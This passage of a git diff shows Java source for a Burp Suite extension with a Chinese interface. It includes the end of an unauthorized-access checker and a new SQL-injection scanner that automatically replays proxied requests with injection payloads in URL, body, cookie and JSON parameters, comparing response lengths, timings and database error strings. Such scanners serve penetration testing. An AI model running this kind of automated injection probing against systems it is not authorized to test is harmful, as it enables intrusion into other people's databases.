JOptionPane.showMessageDialog(null, "认证数据不能为空", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + if (low.contains("\n")) { + low = low.replaceAll("\n", "|XXXXX|"); + } + if (no.contains("\n")) { + no = no.replaceAll("\n", "|XXXXX|"); + } + ConfigBean configLowAuth = new ConfigBean("perm", "permLowAuth", low); + saveConfig(configLowAuth); + ConfigBean configNoAuth = new ConfigBean("perm", "permNoAuth", no); + saveConfig(configNoAuth); + JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE); + } + }); + permSaveDomainButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + String domain = permWhiteDomaintextField.getText(); + if (domain.isEmpty()) { + JOptionPane.showMessageDialog(null, "域名不能为空", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + ConfigBean configWhiteDomain = new ConfigBean("perm", "permWhiteDomain", domain); + saveConfig(configWhiteDomain); + + JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE); + } + }); + permWhiteDomainCheckBox.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + if (permWhiteDomainCheckBox.isSelected()) { + whiteDomain = true; + ConfigBean configBean = new ConfigBean("perm", "permWhiteDomainCheckBox", "true"); + saveConfig(configBean); + } else { + whiteDomain = false; + ConfigBean configBean = new ConfigBean("perm", "permWhiteDomainCheckBox", "false"); + saveConfig(configBean); + } + } + }); + + } + + @Override + public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) { + + if (passiveScan && toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest) { + synchronized (log) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + Check(new IHttpRequestResponse[]{iHttpRequestResponse}); + } + }); + thread.start(); + } + } + } + + @Override + public IHttpService getHttpService() { + return currentlyDisplayedItem.getHttpService(); + } + + @Override + public byte[] getRequest() { + return currentlyDisplayedItem.getRequest(); + } + + @Override + public byte[] getResponse() { + return currentlyDisplayedItem.getResponse(); + } + + @Override + public void init() { + setupUI(); + setupData(); + } + + @Override + public JPanel getPanel(IBurpExtenderCallbacks callbacks) { + return panel; + } + + @Override + public String getTabName() { + return "未授权访问"; + } + + static class PermModel extends AbstractTableModel { + + @Override + public int getRowCount() { + return log.size(); + } + + @Override + public int getColumnCount() { + return 7; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + switch (columnIndex) { + case 0: + return log.get(rowIndex).id; + case 1: + return log.get(rowIndex).method; + case 2: + return log.get(rowIndex).url; + case 3: + return log.get(rowIndex).originalength; + case 4: + return log.get(rowIndex).lowlength; + case 5: + return log.get(rowIndex).nolength; + case 6: + return log.get(rowIndex).isSuccess; + default: + return null; + } + } + + @Override + public String getColumnName(int column) { + switch (column) { + case 0: + return "id"; + case 1: + return "method"; + case 2: + return "url"; + case 3: + return "originalength"; + case 4: + return "lowlength"; + case 5: + return "nolength"; + case 6: + return "isSuccess"; + default: + return null; + } + } + } + + private static class LogEntry { + final int id; + final String method; + final String url; + final String originalength; + final String lowlength; + final String nolength; + final String isSuccess; + IHttpRequestResponse requestResponse; + IHttpRequestResponse lowRequestResponse; + IHttpRequestResponse noRequestResponse; + + public LogEntry(int id, String method, String url, String originalength, String lowlength, String nolength, String isSuccess, IHttpRequestResponse requestResponse, IHttpRequestResponse lowRequestResponse, IHttpRequestResponse noRequestResponse) { + this.id = id; + this.method = method; + this.url = url; + this.originalength = originalength; + this.lowlength = lowlength; + this.nolength = nolength; + this.isSuccess = isSuccess; + this.requestResponse = requestResponse; + this.lowRequestResponse = lowRequestResponse; + this.noRequestResponse = noRequestResponse; + } + } + + private class URLTable extends JTable { + public URLTable(TableModel tableModel) { + super(tableModel); + } + + @Override + public void changeSelection(int row, int col, boolean toggle, boolean extend) { + LogEntry logEntry = log.get(row); + originarequest.setMessage(logEntry.requestResponse.getRequest(), true); + originaresponse.setMessage(logEntry.requestResponse.getResponse(), false); + if (logEntry.lowRequestResponse == null || logEntry.noRequestResponse == null) { + lowerrequest.setMessage(null, false); + lowerresponse.setMessage(null, false); + norequest.setMessage(null, false); + noresponse.setMessage(null, false); + return; + } + lowerrequest.setMessage(logEntry.lowRequestResponse.getRequest(), true); + lowerresponse.setMessage(logEntry.lowRequestResponse.getResponse(), false); + norequest.setMessage(logEntry.noRequestResponse.getRequest(), true); + noresponse.setMessage(logEntry.noRequestResponse.getResponse(), false); + currentlyDisplayedItem = logEntry.requestResponse; + super.changeSelection(row, col, toggle, extend); + } + } + +} diff --git a/src/main/java/burp/ui/SqlUI.java b/src/main/java/burp/ui/SqlUI.java new file mode 100644 index 0000000..7b44913 --- /dev/null +++ b/src/main/java/burp/ui/SqlUI.java @@ -0,0 +1,881 @@ +package burp.ui; + +import burp.*; +import burp.bean.ConfigBean; +import burp.bean.SqlBean; +import burp.utils.JsonUtils; +import burp.utils.Utils; +import com.alibaba.fastjson.JSON; +import com.intellij.uiDesigner.core.GridConstraints; +import com.intellij.uiDesigner.core.GridLayoutManager; +import org.springframework.util.DigestUtils; + +import javax.swing.*; +import javax.swing.table.AbstractTableModel; +import java.awt.*; +import java.awt.event.ActionEvent; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +import static burp.IParameter.*; +import static burp.dao.ConfigDao.getConfig; +import static burp.dao.ConfigDao.saveConfig; +import static burp.dao.SqlDao.*; +import static burp.utils.Utils.getSuffix; + +public class SqlUI implements UIHandler, IMessageEditorController, IHttpListener { + private static final List log = new ArrayList<>(); + private static final List data = new ArrayList<>(); + private static final List data2 = new ArrayList<>(); + private static JTable sqlUrltable1; + private static JTable sqlPayloadtable2; + private static boolean isPassiveScan; + private static boolean isDeleteOrgin; + private static boolean isCheckCookie; + private static boolean isWhiteDomain; + private static final List parameterList = new ArrayList<>(); + private static final List urlHashList = new ArrayList<>(); + public AbstractTableModel model = new PayloadModel(); + private JPanel panel; + private JCheckBox sqlPassiveScanCheckBox; + private JCheckBox sqlDeleteOrginCheckBox; + private JCheckBox sqlCheckCookieCheckBox; + private JCheckBox sqlWhiteCheckBox; + private JTextField sqlWhiteDomaintextField; + private JButton sqlRefershButton; + private JButton sqlClearTableButton1; + private JLabel sqlWhiteDomainLabel; + private JButton sqlSaveWhiteDomainButton; + private JButton sqlSavePayloadButton1; + private JLabel sqlSqlPayloadLabel; + private JEditorPane sqleditorPane1; + private JTabbedPane tabbedPane1; + private JTabbedPane tabbedPane2; + private JScrollPane sqlJScrollPanetop1; + private JScrollPane sqlJScrollPanetop2; + private JPanel sqltabbedPane1; + private JPanel sqltabbedPane2; + private IMessageEditor HResponseTextEditor; + private IMessageEditor HRequestTextEditor; + private IHttpRequestResponse currentlyDisplayedItem; + + public static void Check(IHttpRequestResponse[] responses) { + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + List reqheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + String method = analyzeRequest.getMethod(); + String url = analyzeRequest.getUrl().toString(); + List paraLists = analyzeRequest.getParameters(); + + // 如果没有开启cookie检测,并且cookie中有参数,其他参数为空,直接返回 + if (!isCheckCookie) { + int urlParamCount = 0; + int bodyParamCount = 0; + int jsonParamCount = 0; + + // 遍历参数列表,统计各种参数的个数 + for (IParameter parameter : paraLists) { + if (parameter.getType() == IParameter.PARAM_URL) { + urlParamCount++; + } else if (parameter.getType() == IParameter.PARAM_BODY) { + bodyParamCount++; + } else if (parameter.getType() == IParameter.PARAM_JSON) { + jsonParamCount++; + } + } + + // 判断条件是否满足 + if (urlParamCount < 1 && bodyParamCount < 1 && jsonParamCount < 1) { + return; + } + } + + // 如果参数为空,直接返回 + if (paraLists.isEmpty()) { + return; + } + + // 对url进行hash去重 + for (IParameter paraList : paraLists) { + String paraName = paraList.getName(); + String paraValue = paraList.getValue(); + parameterList.add(paraName + "=" + paraValue); + } + if (!checkUrlHash(method + url + parameterList)) { + return; + } + + List sqliPayload = getSqlList(); + + // url 中为静态资源,直接返回 + List suffix = getSuffix(); + for (String s : suffix) { + if (url.endsWith(s)) { + return; + } + } + // url 不是白名单域名,直接返回 + if (isWhiteDomain) { + ConfigBean whiteSqlDomain = getConfig("sql", "sqlWhiteSqlDomain"); + if (!url.contains(whiteSqlDomain.getValue())) { + return; + } + } + // 原始请求包发送一次 + List originalheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + byte[] byte_Request = baseRequestResponse.getRequest(); + int bodyOffset = analyzeRequest.getBodyOffset(); + int len = byte_Request.length; + byte[] body = Arrays.copyOfRange(byte_Request, bodyOffset, len); + byte[] postMessage = Utils.helpers.buildHttpMessage(originalheaders, body); + IHttpRequestResponse originalRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), postMessage); + byte[] responseBody = originalRequestResponse.getResponse(); + int originalLength = 0; + if (responseBody != null) { + IResponseInfo originalReqResponse = Utils.helpers.analyzeResponse(responseBody); + List headers = originalReqResponse.getHeaders(); + for (String header : headers) { + if (header.contains("Content-Length")) { + originalLength = Integer.parseInt(header.split(":")[1].trim()); + break; + } + } + } + if (originalLength == 0) { + assert responseBody != null; + originalLength = Integer.parseInt(String.valueOf(responseBody.length)); + } + List listErrorKey = new ArrayList<>(); + String sqliErrorKey = getConfig("sql", "sqlErrorKey").getValue(); + // 如果sqlErrorKey包含|xxx| 则分割成多个 + if (sqliErrorKey.contains("|XXXXX|")) { + String[] sqliErrorKeyValue = sqliErrorKey.split("\\|XXXXX\\|"); + listErrorKey.addAll(Arrays.asList(sqliErrorKeyValue)); + } else { + listErrorKey.add(sqliErrorKey); + } + int logid = addLog(method, url, originalLength, originalRequestResponse); + for (IParameter para : paraLists) { + if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_COOKIE || para.getType() == PARAM_JSON) { + String paraName = para.getName(); + String paraValue = para.getValue(); + // 如果参数在url或body中,进行检测 + if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY) { + if (paraName.isEmpty()) { + return; + } + for (SqlBean sql : sqliPayload) { + String errkey = "x"; + String payload = ""; + String sqlPayload = Utils.ReplaceChar(sql.getSql()); + if (sqlPayload.isEmpty()) { + return; + } + // 如果是在get请求中,需要对payload进行url编码 + if (para.getType() == PARAM_URL) { + sqlPayload = Utils.UrlEncode(sqlPayload); + } + // 是否删除原始的参数值 + if (isDeleteOrgin) { + payload = sqlPayload; + } else { + payload = paraValue + sqlPayload; + } + long startTime = System.currentTimeMillis(); + IParameter iParameter = Utils.helpers.buildParameter(paraName, payload, para.getType()); + byte[] bytes = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameter); + IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes); + // xm17: 考虑服务器被waf了 然后返回时间很长的情况 + long endTime = System.currentTimeMillis(); + IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse()); + int statusCode = analyzeResponse.getStatusCode(); + String responseTime = String.valueOf(endTime - startTime); + byte[] sqlresponseBody = newRequestResponse.getResponse(); + int sqlLength = 0; + if (sqlresponseBody != null) { + // 判断有无Content-Length字段 + IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(sqlresponseBody); + List sqlHeaders = ReqResponse.getHeaders(); + for (String header : sqlHeaders) { + if (header.contains("Content-Length")) { + sqlLength = Integer.parseInt(header.split(":")[1].trim()); + break; + } + } + // 判断body中是否有errorkey关键字 + String sqlResponseBody = new String(sqlresponseBody); + for (String errorKey : listErrorKey) { + if (sqlResponseBody.contains(errorKey)) { + errkey = "√"; + break; + } + } + } + if (sqlLength == 0) { + assert sqlresponseBody != null; + sqlLength = Integer.parseInt(String.valueOf(sqlresponseBody.length)); + } + + addPayloadLog(logid, paraName, payload, sqlLength, String.valueOf(Math.abs(sqlLength - originalLength)), errkey, responseTime, String.valueOf(statusCode), newRequestResponse); + } + + } else if (isCheckCookie && para.getType() == PARAM_COOKIE) { + if (paraName.isEmpty()) { + return; + } + for (SqlBean sql : sqliPayload) { + String errkey = "x"; + String payload = ""; + String sqlPayload = Utils.ReplaceChar(sql.getSql()); + if (sqlPayload.isEmpty()) { + return; + } + // 是否删除原始的参数值 + if (isDeleteOrgin) { + payload = sqlPayload; + } else { + payload = paraValue + sqlPayload; + } + long startTime = System.currentTimeMillis(); + IParameter iParameter = Utils.helpers.buildParameter(paraName, payload, para.getType()); + byte[] bytes = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameter); + IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes); + // xm17: 考虑服务器被waf了 然后返回时间很长的情况 + long endTime = System.currentTimeMillis(); + IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse()); + int statusCode = analyzeResponse.getStatusCode(); + String responseTime = String.valueOf(endTime - startTime); + byte[] sqlresponseBody = newRequestResponse.getResponse(); + int sqlLength = 0; + if (sqlresponseBody != null) { + // 判断有无Content-Length字段 + IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(sqlresponseBody); + List sqlHeaders = ReqResponse.getHeaders(); + for (String header : sqlHeaders) { + if (header.contains("Content-Length")) { + sqlLength = Integer.parseInt(header.split(":")[1].trim()); + break; + } + } + // 判断body中是否有errorkey关键字 + String sqlResponseBody = new String(sqlresponseBody); + for (String errorKey : listErrorKey) { + if (sqlResponseBody.contains(errorKey)) { + errkey = "√"; + break; + } + } + } + if (sqlLength == 0) { + assert sqlresponseBody != null; + sqlLength = Integer.parseInt(String.valueOf(sqlresponseBody.length)); + } + addPayloadLog(logid, paraName, payload, sqlLength, String.valueOf(Math.abs(sqlLength - originalLength)), errkey, responseTime, String.valueOf(statusCode), newRequestResponse); + } + + } else if (para.getType() == PARAM_JSON) { + String request_data = Utils.helpers.bytesToString(baseRequestResponse.getRequest()).split("\r\n\r\n")[1]; + if (request_data.isEmpty()) { + return; + } else { + Map request_json = JSON.parseObject(request_data); + for (SqlBean sql : sqliPayload) { + List objectList = new ArrayList<>(); + String payload = sql.getSql(); + String errkey = "x"; + if (isDeleteOrgin) { + objectList = JsonUtils.updateJsonObjectFromStr(request_json, Utils.ReplaceChar(payload), 0); + } else { + objectList = JsonUtils.updateJsonObjectFromStr(request_json, Utils.ReplaceChar(payload), 1); + } + + // objectList为构造好的json数据,需要转成byte数组进行请求 + String json = ""; + for (Object o : objectList) { + json = JSON.toJSONString(o); + } + long startTime = System.currentTimeMillis(); + byte[] bytes = Utils.helpers.buildHttpMessage(reqheaders, json.getBytes()); + IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes); + long endTime = System.currentTimeMillis(); + IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse()); + int statusCode = analyzeResponse.getStatusCode(); + String responseTime = String.valueOf(endTime - startTime); + byte[] sqlresponseBody = newRequestResponse.getResponse(); + int sqlLength = 0; + if (sqlresponseBody != null) { + // 判断有无Content-Length字段 + IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(sqlresponseBody); + List sqlHeaders = ReqResponse.getHeaders(); + for (String header : sqlHeaders) { + if (header.contains("Content-Length")) { + sqlLength = Integer.parseInt(header.split(":")[1].trim()); + break; + } + } + // 判断body中是否有errorkey关键字 + String sqlResponseBody = new String(sqlresponseBody); + for (String errorKey : listErrorKey) { + if (sqlResponseBody.contains(errorKey)) { + errkey = "√"; + break; + } + } + } + if (sqlLength == 0) { + assert sqlresponseBody != null; + sqlLength = Integer.parseInt(String.valueOf(sqlresponseBody.length)); + } + + addPayloadLog(logid, "json", payload, sqlLength, String.valueOf(Math.abs(sqlLength - originalLength)), errkey, responseTime, String.valueOf(statusCode), newRequestResponse); + } + + break; + + } + } + } + } + updateLog(logid, method, url, originalLength, originalRequestResponse); + } + + public static boolean checkUrlHash(String url) { + parameterList.clear(); + String md5 = DigestUtils.md5DigestAsHex(url.getBytes()); + if (urlHashList.contains(md5)) { + return false; + } else { + urlHashList.add(md5); + return true; + } + } + + // 添加url数据 + public static int addLog(String method, String url, int length, IHttpRequestResponse requestResponse) { + + synchronized (log) { + int id = log.size(); + log.add(new UrlEntry(id, method, url, length, "正在检测", requestResponse)); + sqlUrltable1.updateUI(); + sqlPayloadtable2.updateUI(); + return id; + } + + } + + // 更新url数据 + public static void updateLog(int index, String method, String url, int length, IHttpRequestResponse requestResponse) { + synchronized (log) { + if (index >= 0 && index < log.size()) { + log.set(index, new UrlEntry(index, method, url, length, "完成", requestResponse)); + } + sqlUrltable1.updateUI(); + sqlPayloadtable2.updateUI(); + } + } + + // 添加payload数据 + public static void addPayloadLog(int selectId, String key, String value, int length, String change, String errkey, String time, String status, IHttpRequestResponse requestResponse) { + int id = data2.size(); + synchronized (data2) { + data2.add(new PayloadEntry(id, selectId, key, value, length, change, errkey, time, status, requestResponse)); + sqlUrltable1.updateUI(); + sqlPayloadtable2.updateUI(); + } + } + + private void setupUI() { + Utils.callbacks.registerHttpListener(this); + panel = new JPanel(); + panel.setLayout(new BorderLayout(0, 0)); + final JPanel panel2 = new JPanel(); + panel2.setLayout(new BorderLayout(0, 0)); + panel.add(panel2, BorderLayout.CENTER); + final JPanel panel3 = new JPanel(); + panel3.setLayout(new BorderLayout(0, 0)); + panel2.add(panel3, BorderLayout.EAST); + final JPanel panel4 = new JPanel(); + panel4.setLayout(new GridLayoutManager(6, 3, new Insets(0, 0, 0, 0), -1, -1)); + panel3.add(panel4, BorderLayout.NORTH); + sqlPassiveScanCheckBox = new JCheckBox(); + sqlPassiveScanCheckBox.setText("被动扫描"); + panel4.add(sqlPassiveScanCheckBox, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + sqlDeleteOrginCheckBox = new JCheckBox(); + sqlDeleteOrginCheckBox.setText("删除原始值"); + panel4.add(sqlDeleteOrginCheckBox, new GridConstraints(0, 1, 1, 2, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + sqlCheckCookieCheckBox = new JCheckBox(); + sqlCheckCookieCheckBox.setText("检测cookie"); + panel4.add(sqlCheckCookieCheckBox, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + sqlWhiteCheckBox = new JCheckBox(); + sqlWhiteCheckBox.setText("白名单检测"); + panel4.add(sqlWhiteCheckBox, new GridConstraints(1, 1, 1, 2, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + sqlWhiteDomaintextField = new JTextField(); + panel4.add(sqlWhiteDomaintextField, new GridConstraints(3, 0, 1, 3, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + sqlRefershButton = new JButton(); + sqlRefershButton.setText("刷新表格"); + panel4.add(sqlRefershButton, new GridConstraints(4, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + sqlClearTableButton1 = new JButton(); + sqlClearTableButton1.setText("清空表格"); + panel4.add(sqlClearTableButton1, new GridConstraints(4, 1, 1, 2, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + sqlWhiteDomainLabel = new JLabel(); + sqlWhiteDomainLabel.setText("白名单域名"); + panel4.add(sqlWhiteDomainLabel, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + sqlSaveWhiteDomainButton = new JButton(); + sqlSaveWhiteDomainButton.setText("保存白名单"); + panel4.add(sqlSaveWhiteDomainButton, new GridConstraints(2, 1, 1, 2, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + sqlSavePayloadButton1 = new JButton(); + sqlSavePayloadButton1.setText("保存payload"); + panel4.add(sqlSavePayloadButton1, new GridConstraints(5, 1, 1, 2, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + sqlSqlPayloadLabel = new JLabel(); + sqlSqlPayloadLabel.setText("sql payload"); + panel4.add(sqlSqlPayloadLabel, new GridConstraints(5, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + final JPanel panel5 = new JPanel(); + panel5.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); + panel3.add(panel5, BorderLayout.CENTER); + sqleditorPane1 = new JEditorPane(); + panel5.add(sqleditorPane1, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_WANT_GROW, null, new Dimension(150, 50), null, 0, false)); + final JSplitPane splitPane1 = new JSplitPane(); + splitPane1.setDividerSize(1); + splitPane1.setOrientation(JSplitPane.VERTICAL_SPLIT); + splitPane1.setResizeWeight(0.5); + panel2.add(splitPane1, BorderLayout.CENTER); + final JSplitPane splitPane2 = new JSplitPane(); + splitPane2.setDividerSize(2); + splitPane2.setResizeWeight(0.5); + splitPane1.setLeftComponent(splitPane2); + sqlJScrollPanetop1 = new JScrollPane(); + splitPane2.setLeftComponent(sqlJScrollPanetop1); + UrlModel urlModel = new UrlModel(); + sqlUrltable1 = new URLTable(urlModel); + sqlJScrollPanetop1.setViewportView(sqlUrltable1); + sqlJScrollPanetop2 = new JScrollPane(); + splitPane2.setRightComponent(sqlJScrollPanetop2); + PayloadModel payloadModel = new PayloadModel(); + sqlPayloadtable2 = new PayloadTable(payloadModel); + sqlJScrollPanetop2.setViewportView(sqlPayloadtable2); + final JSplitPane splitPane3 = new JSplitPane(); + splitPane3.setDividerSize(2); + splitPane3.setResizeWeight(0.5); + splitPane1.setRightComponent(splitPane3); + tabbedPane1 = new JTabbedPane(); + splitPane3.setLeftComponent(tabbedPane1); + HRequestTextEditor = Utils.callbacks.createMessageEditor(SqlUI.this, true); + HResponseTextEditor = Utils.callbacks.createMessageEditor(SqlUI.this, false); + tabbedPane1.addTab("request", HRequestTextEditor.getComponent()); + tabbedPane2 = new JTabbedPane(); + splitPane3.setRightComponent(tabbedPane2); + sqltabbedPane2 = new JPanel(); + sqltabbedPane2.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); + tabbedPane2.addTab("response", HResponseTextEditor.getComponent()); + + } + + private void setupData() { + ConfigBean sqlPassiveScanCheckBoxConfig = getConfig("sql", "sqlPassiveScanCheckBox"); + if (sqlPassiveScanCheckBoxConfig.getValue().equals("true")) { + isPassiveScan = true; + + sqlPassiveScanCheckBox.setSelected(true); + } else { + isPassiveScan = false; + + sqlPassiveScanCheckBox.setSelected(false); + } + ConfigBean sqlDeleteOrginCheckBoxConfig = getConfig("sql", "sqlDeleteOrginCheckBox"); + if (sqlDeleteOrginCheckBoxConfig.getValue().equals("true")) { + isDeleteOrgin = true; + + sqlDeleteOrginCheckBox.setSelected(true); + } else { + isDeleteOrgin = false; + + sqlDeleteOrginCheckBox.setSelected(false); + } + ConfigBean sqlCheckCookieCheckBoxConfig = getConfig("sql", "sqlCheckCookieCheckBox"); + if (sqlCheckCookieCheckBoxConfig.getValue().equals("true")) { + isCheckCookie = true; + + sqlCheckCookieCheckBox.setSelected(true); + } else { + isCheckCookie = false; + + sqlCheckCookieCheckBox.setSelected(false); + } + ConfigBean sqlWhiteCheckBoxConfig = getConfig("sql", "sqlWhiteCheckBox"); + if (sqlWhiteCheckBoxConfig.getValue().equals("true")) { + isWhiteDomain = true; + + sqlWhiteCheckBox.setSelected(true); + } else { + isWhiteDomain = false; + + sqlWhiteCheckBox.setSelected(false); + } + ConfigBean sqlWhiteDomaintextFieldConfig = getConfig("sql", "sqlWhiteSqlDomain"); + sqlWhiteDomaintextField.setText(sqlWhiteDomaintextFieldConfig.getValue()); + sqlRefershButton.addActionListener(e -> { + sqlUrltable1.updateUI(); + sqlPayloadtable2.updateUI(); + }); + sqlClearTableButton1.addActionListener(e -> { + log.clear(); + data.clear(); + data2.clear(); + HRequestTextEditor.setMessage(new byte[0], true); + HResponseTextEditor.setMessage(new byte[0], false); + sqlUrltable1.updateUI(); + sqlPayloadtable2.updateUI(); + }); + sqlSaveWhiteDomainButton.addActionListener(e -> { + String whiteDomaintextFieldText = sqlWhiteDomaintextField.getText(); + ConfigBean sqlWhiteDomaintextFieldConfig1 = new ConfigBean("sql", "sqlWhiteSqlDomain", whiteDomaintextFieldText); + saveConfig(sqlWhiteDomaintextFieldConfig1); + JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE); + }); + sqlSavePayloadButton1.addActionListener(e -> { + String sqleditorPane1Text = sqleditorPane1.getText(); + deleteSql(); + // 如果包含换行符,就分割成多个payload + if (sqleditorPane1Text.contains("\n")) { + String[] split = sqleditorPane1Text.split("\n"); + for (String s : split) { + SqlBean sqlBean = new SqlBean(s); + saveSql(sqlBean); + } + } else { + SqlBean sqlBean = new SqlBean(sqleditorPane1Text); + saveSql(sqlBean); + } + sqleditorPane1.updateUI(); + JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE); + }); + sqlPassiveScanCheckBox.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + if (sqlPassiveScanCheckBox.isSelected()) { + isPassiveScan = true; + ConfigBean sqlPassiveScanCheckBoxConfig1 = new ConfigBean("sql", "sqlPassiveScanCheckBox", "true"); + saveConfig(sqlPassiveScanCheckBoxConfig1); + } else { + isPassiveScan = false; + ConfigBean sqlPassiveScanCheckBoxConfig1 = new ConfigBean("sql", "sqlPassiveScanCheckBox", "false"); + saveConfig(sqlPassiveScanCheckBoxConfig1); + } + } + }); + sqlDeleteOrginCheckBox.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + if (sqlDeleteOrginCheckBox.isSelected()) { + isDeleteOrgin = true; + ConfigBean sqlDeleteOrginCheckBoxConfig1 = new ConfigBean("sql", "sqlDeleteOrginCheckBox", "true"); + saveConfig(sqlDeleteOrginCheckBoxConfig1); + } else { + isDeleteOrgin = false; + ConfigBean sqlDeleteOrginCheckBoxConfig1 = new ConfigBean("sql", "sqlDeleteOrginCheckBox", "false"); + saveConfig(sqlDeleteOrginCheckBoxConfig1); + } + } + }); + sqlCheckCookieCheckBox.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + if (sqlCheckCookieCheckBox.isSelected()) { + isCheckCookie = true; + ConfigBean sqlCheckCookieCheckBoxConfig1 = new ConfigBean("sql", "sqlCheckCookieCheckBox", "true"); + saveConfig(sqlCheckCookieCheckBoxConfig1); + } else { + isCheckCookie = false; + ConfigBean sqlCheckCookieCheckBoxConfig1 = new ConfigBean("sql", "sqlCheckCookieCheckBox", "false"); + saveConfig(sqlCheckCookieCheckBoxConfig1); + } + } + }); + sqlWhiteCheckBox.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + if (sqlWhiteCheckBox.isSelected()) { + isWhiteDomain = true; + ConfigBean sqlWhiteCheckBoxConfig1 = new ConfigBean("sql", "sqlWhiteCheckBox", "true"); + saveConfig(sqlWhiteCheckBoxConfig1); + } else { + isWhiteDomain = false; + ConfigBean sqlWhiteCheckBoxConfig1 = new ConfigBean("sql", "sqlWhiteCheckBox", "false"); + saveConfig(sqlWhiteCheckBoxConfig1); + } + } + }); + List sqlList = getSqlList(); + for (SqlBean sqlBean : sqlList) { + // 如果是最后一个,就不加换行符 + if (sqlList.indexOf(sqlBean) == sqlList.size() - 1) { + sqleditorPane1.setText(sqleditorPane1.getText() + sqlBean.getSql()); + break; + } + sqleditorPane1.setText(sqleditorPane1.getText() + sqlBean.getSql() + "\n"); + + } + + } + + @Override + public IHttpService getHttpService() { + return currentlyDisplayedItem.getHttpService(); + } + + @Override + public byte[] getRequest() { + return currentlyDisplayedItem.getRequest(); + } + 